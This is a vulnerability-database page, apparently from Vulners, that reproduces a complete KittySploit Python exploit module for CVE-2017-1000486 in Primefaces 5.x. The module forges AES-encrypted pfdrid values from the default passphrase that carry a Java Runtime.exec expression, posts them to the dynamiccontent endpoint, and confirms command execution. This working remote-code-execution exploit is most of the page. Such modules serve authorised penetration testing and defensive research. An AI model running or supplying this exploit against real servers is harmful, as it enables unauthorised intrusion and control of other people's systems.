Primefaces EL Injection RCE (CVE-2017-1000486)
| Reporter | Title | Published | Views | Family All 48 |
|---|---|---|---|---|
| Primefaces 5.x - Remote Code Execution Exploit | 18 Jan 201800:00 | – | zdt | |
| Exploit for Inadequate Encryption Strength in Primetek Primefaces | 5 Aug 202117:42 | – | githubexploit | |
| Exploit for Inadequate Encryption Strength in Primetek Primefaces | 9 Sep 202223:09 | – | githubexploit | |
| Exploit for Inadequate Encryption Strength in Primetek Primefaces | 3 Sep 201803:11 | – | githubexploit | |
| Exploit for Inadequate Encryption Strength in Primetek Primefaces | 17 Oct 201822:47 | – | githubexploit | |
| CVE-2017-1000486 | 3 Jan 201800:00 | – | attackerkb | |
| CVE-2017-1000486 | 14 Jun 202321:10 | – | circl | |
| Primetek Primefaces Remote Code Execution Vulnerability | 10 Jan 202200:00 | – | cisa_kev | |
| CISA Adds 15 Known Exploited Vulnerabilities to Catalog | 10 Jan 202200:00 | – | cisa | |
| Primetek Primefaces Remote Code Execution Vulnerability | 4 Jan 201800:00 | – | cnvd |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Primefaces weak encryption EL injection RCE (CVE-2017-1000486)."""
import base64
import re
from hashlib import md5
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Primefaces EL Injection RCE (CVE-2017-1000486)',
'description': (
'Exploits CVE-2017-1000486 in Primefaces 5.x: weak AES passphrase allows '
'forging pfdrid payloads that evaluate Java EL expressions for RCE.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2017-1000486'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2017-1000486',
'https://github.com/pimps/CVE-2017-1000486',
],
'tags': ['primefaces', 'jsf', 'el-injection', 'rce', 'kev', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/cve_2017_1000486_detect'],
},
},
}
resource_path = OptString(
'/javax.faces.resource/dynamiccontent.properties.xhtml',
'Primefaces dynamiccontent endpoint',
required=False,
advanced=True,
)
passphrase = OptString('primefaces', 'Primefaces crypto passphrase', required=False, advanced=True)
_CHECK_PFDRID = (
'uMKljPgnOTVxmOB+H6/QEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo+QZuqhqtPxdTA=='
)
def _encrypt_el(self, expression: str) -> str:
try:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
except ImportError:
return ''
key = md5(str(self.passphrase or 'primefaces').encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
blob = cipher.encrypt(pad(expression.encode('utf-8'), 16))
return base64.b64encode(blob).decode('utf-8')
def _post(self, pfdrid: str) -> tuple[int, str, dict]:
path = str(self.resource_path or '/javax.faces.resource/dynamiccontent.properties.xhtml').strip()
r = self.http_request(
method='POST',
path=path,
data=f'pfdrt=sc&ln=primefaces&pfdrid={pfdrid}',
headers={
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': '*/*',
},
allow_redirects=False,
)
headers = {str(k): str(v) for k, v in (r.headers or {}).items()} if r else {}
return (r.status_code if r else 0, (r.text or '') if r else '', headers)
def execute(self, cmd: str) -> str:
safe = str(cmd).replace("'", "\\'")
el = (
f"%{{''.getClass().forName('java.lang.Runtime')"
f".getMethod('getRuntime',null).invoke(null,null)"
f".exec('{safe}')}}"
)
pfdrid = self._encrypt_el(el)
if not pfdrid:
return ''
status, body, _headers = self._post(pfdrid)
return body if status == 200 else ''
def check(self):
status, body, headers = self._post(self._CHECK_PFDRID)
if status == 200 and any('Mogwailabs: CHECKCHECK' in v for v in headers.values()):
return {'vulnerable': True, 'reason': 'Primefaces EL injection confirmed', 'confidence': 'high'}
if status == 200 and 'CHECKCHECK' in body:
return {'vulnerable': True, 'reason': 'Primefaces dynamiccontent accepts forged pfdrid', 'confidence': 'medium'}
return {'vulnerable': False, 'reason': 'Primefaces EL bypass not confirmed', 'confidence': 'medium'}
def check_execute(self):
body = self.execute('id')
return bool(re.search(r'uid=\d+', body or ''))
def run(self):
if not self.check().get('vulnerable'):
self.not_vulnerable()
return False
if not self.check_execute():
print_warning('EL exec not confirmed in-band — PyCryptodome required for custom payloads')
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.6High risk
Vulners AI Score8.6
CVSS 27.5
CVSS 3.19.8
EPSS0.94104
SSVC